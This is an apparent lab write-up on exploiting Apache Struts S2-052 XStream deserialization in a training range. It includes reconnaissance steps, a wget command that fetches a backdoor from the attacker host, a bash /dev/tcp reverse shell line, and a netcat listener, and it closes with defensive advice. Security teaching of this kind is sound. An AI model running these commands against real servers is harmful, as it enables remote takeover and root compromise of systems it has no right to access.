The Deceptive Simplicity of REST
I was looking at what seemed like a perfectly ordinary order management system. Clean interface. Simple XML requests. Built on REST light, modern, "safe." Most developers would scroll past it and call it secure. I didn't.
Because in Java, "simple" XML can hide deadly complexity. Beneath the neat REST endpoints lurks the XStream translator, blindly reconstructing objects without question. And that trust? It's a weapon waiting to be wielded.

This is the story of S2–052 (CVE-2017–9805), a critical Apache Struts vulnerability where a single POST request doesn't just update data it can flip the system from routine operations to full root access. What seems harmless, what seems ordinary, is exactly where the danger hides. And understanding it means looking beyond the surface, into the translator that turns XML into objects… and objects into potential chaos.
The Core Concept: Understanding Deserialization
Before we dive into the lab and start crafting payloads, we need to understand why this vulnerability exists in the first place.
At its core, the issue revolves around a concept called serialization and deserialization. These terms sound complex, but the idea is actually simple.
Imagine you've built an elaborate LEGO castle. It's tall, detailed, and full of tiny components. Now suppose you want to ship that castle to someone across the world. You can't mail the entire structure as it is, so you break it down into individual pieces and pack them neatly into a flat box along with the instructions needed to rebuild it.
That process of breaking the castle into pieces so it can travel is serialization.
When the box arrives at the destination, the recipient opens it and rebuilds the castle using the instructions provided. That reconstruction process is deserialization.
In software systems, the idea works the same way. Applications often convert complex objects : like user data, orders, or configurations into a simple format such as XML or JSON so they can be transmitted over a network. Once the data reaches the server, it is reconstructed back into a working object the application can use.
Under normal circumstances, this process is harmless and incredibly useful. But the entire mechanism relies on one critical assumption: the instructions used to rebuild the object are trustworthy.
And that's where things start to break.
When the Instructions Become the Attack
In the case of Apache Struts S2‑052, the REST plugin uses a library called XStream to handle XML deserialization.
XStream's job is simple: Take incoming XML data and rebuild the corresponding Java object inside the application.
But here's the dangerous part.
XStream doesn't just recreate data it can recreate behavior.
If an attacker sends XML that instructs the server to create an object that triggers a system command instead of a harmless data structure, the server will faithfully follow those instructions during deserialization.
In other words, the attacker controls the instruction manual used to rebuild the object.
Instead of reconstructing something safe like an order request or user profile, the application may unknowingly construct a malicious object that executes commands on the underlying system.
At that moment, what looked like a normal data exchange becomes something far more dangerous. This is no longer a simple application bug. This is Remote Code Execution (RCE).
And when an attacker can execute commands on the server, they effectively control the machine running the application.
The Setting: Enter the Lab
Understanding vulnerabilities like Apache Struts S2‑052 isn't something you truly grasp by just reading advisories or watching demos. To really see how the exploit works, you need to step into the attacker's shoes and interact with a live target.
For this research, I used the Struts XML Deserialization RCE lab from INE Security Skill Dive's eWPTX Practice Range. The lab provides a vulnerable environment specifically designed to demonstrate how insecure deserialization in Apache Struts can lead to remote code execution.
The target environment simulates a typical enterprise Java stack and consists of:
- Apache Tomcat 8.5.50 running as the application server
- Apache Struts 2.5.12, which contains the vulnerable REST plugin
- A demo application exposing REST endpoints that process XML input
At first glance, the application behaves like a standard order management system nothing obviously vulnerable, nothing screaming "exploit me." But as we've already discussed, the real danger lies beneath the surface in how the application processes incoming XML.
With the environment ready, the next step was to approach the system the way any attacker would: through reconnaissance.
Phase 1: Reconnaissance & Discovery
Every attack begins with understanding the target.
My investigation started with a simple network scan against the lab machine to identify open services and their versions.
nmap -sS -sV <target-ip>The scan quickly revealed a familiar Java-based stack:
- Port 8080 was running Apache Tomcat 8.5.50
- Port 8009 exposed AJP13, a protocol commonly used to connect web servers with Tomcat

Seeing AJP alongside Tomcat is often a strong indicator that the backend is running a Java application framework such as Struts or Spring.
Curious to see what the application looked like, I navigated to the web service running on port 8080. Instead of landing on a homepage, the application immediately redirected me to:
/orders.xhtml
This page revealed something interesting.
The application was running the Struts 2 REST Showcase, a demonstration interface used to manage orders through RESTful endpoints. While it looked like a harmless demo application, it confirmed something crucial:
The Struts REST plugin was active.
And if the REST plugin was active, that meant the XStream deserialization engine was quietly waiting in the background to process XML input.
Which is exactly where the S2‑052 vulnerability begins to unfold.
The "A‑ha!" Moment
After reconnaissance confirmed the application was running Apache Struts, the next step was interacting with the application itself.
When I opened the application in the browser, I was greeted with a simple interface showing a list of orders. At first glance, it looked like a typical CRUD-style demo application nothing unusual.

But experience has taught me that the real action rarely happens in the UI.
I launched Burp Suite and intercepted the request generated when I clicked Edit on an order belonging to "Bob".

The original request looked harmless. It was a simple GET request retrieving order details. However, knowing how Struts REST endpoints behave, I suspected that the server might accept other content types besides the default request.

That's when the idea clicked.
The Pivot
Instead of sending the request as it originally appeared, I modified it.
First, I changed the HTTP method from:
GET → POSTThen I introduced a critical header:
Content-Type: application/xmlThis small modification fundamentally changed how the server interpreted my request. Instead of expecting a standard web request, the server now believed it was receiving XML data that needed to be deserialized into a Java object.

And that meant the XStream engine would step in.
At that moment, the application was no longer just receiving user input. It was ready to reconstruct objects from whatever XML I sent it.
That was the entry point.
The Two‑Stage Heist (Exploitation)
Exploiting insecure deserialization is rarely a single-step attack. Instead, it often relies on something called a gadget chain a carefully crafted sequence of objects that eventually leads to code execution.
In this case, the exploit leveraged XStream to instantiate a dangerous Java class: java.lang.ProcessBuilder.
Rather than sending normal application data like an order name, the XML payload instructs the server to construct a Java object capable of executing system commands.
Find the payloads here: https://github.com/Experience-rookie/struts-s2-052-deserialization-rce-lab/tree/main
However, triggering a full reverse shell instantly can be unreliable. A more stable approach is to break the attack into two stages.
Think of it like planting and detonating a device.
The Delivery (Staging)
Before executing anything complex, I needed a reliable way to deliver my backdoor to the server.
On my attacker machine, I hosted a simple bash script using Python's built-in web server:
python -m SimpleHTTPServer 80The hosted script contained a straightforward reverse shell:
bash >& /dev/tcp/<my-ip>/4444 0>&1
Instead of sending a normal order update, my first XML payload instructed the server to create a ProcessBuilder object that executed a command similar to:
wget http://<my-ip>/backdoor -O /tmp/backdoorThe result?
The vulnerable server reached out to my machine, downloaded the script, and stored it in the /tmp directory.
At this stage, nothing had executed yet. But the payload was now sitting on the target system, waiting.
The bomb was planted.
Stage 2: Pulling the Trigger
With the backdoor script safely placed on the server, it was time to execute it.
I sent a second XML payload, again abusing ProcessBuilder, but this time the command was much simpler.
Instead of downloading anything, the payload instructed the server to run:
/bin/bash /tmp/backdoorInside the XML request, this appeared as:
<string>/bin/bash</string>
<string>/tmp/backdoor</string>At this point, the vulnerable application faithfully reconstructed the malicious object and executed the command.
Which meant the reverse shell should connect back to my machine.
The Payoff: The Root Shell
I switched my attention to my listener and waited.
nc -lvp 4444For a moment, nothing happened.
Then suddenly:
Connection received.The shell had popped.
To confirm the level of access, I ran a quick command:
whoamiThe response came back immediately.
rootThis wasn't just application-level access.
This was full system compromise.
At this point, the application server was effectively mine. From here, retrieving the lab's objective was trivial.
find / -name flagThe system eventually revealed the prize:
ec20893efcb0e519cdaf062ac2ba2efaBut the flag wasn't the real takeaway.
The real lesson was understanding how a seemingly harmless XML request could escalate into complete server control.
Final Thoughts: The Defender's Perspective
What makes S2‑052 particularly dangerous is how ordinary the exploit traffic appears.
To a traditional firewall, the attack looks like just another XML request being sent to a web application. Nothing obviously malicious stands out unless the system is inspecting the request body carefully.
At its core, the vulnerability exists because the application blindly trusted user-controlled XML during the deserialization process.
When the server reconstructed objects from attacker-supplied input, it unknowingly allowed the creation of classes capable of executing system commands.
How to Defend Against This
There are several critical defensive measures that can prevent vulnerabilities like this:
★ Patch the Framework
The issue was fixed in Apache Struts 2.5.13, which introduced stricter controls by implementing a whitelist of allowed classes during deserialization.
If a server is still running vulnerable versions, it effectively exposes a direct path to remote code execution.
★ Reduce Attack Surface
If the Struts REST plugin is not required for the application, it should be removed or disabled entirely. Eliminating unnecessary components significantly reduces the number of potential attack vectors.
★ Use Intelligent Traffic Inspection
Modern Web Application Firewalls can help detect suspicious XML payloads that reference unusual Java classes such as:
java.lang.ProcessBuilderWhile a WAF should never be the only defense, it can provide an additional layer of protection against exploitation attempts.
Closing Thoughts
The most fascinating aspect of vulnerabilities like S2‑052 is how subtle they appear.
From the outside, it's just a normal REST application exchanging XML data. But underneath that simple interaction lies a powerful mechanism capable of reconstructing entire objects and sometimes executing them. And when that mechanism trusts user input too much, the consequences can escalate from a harmless request to full system compromise.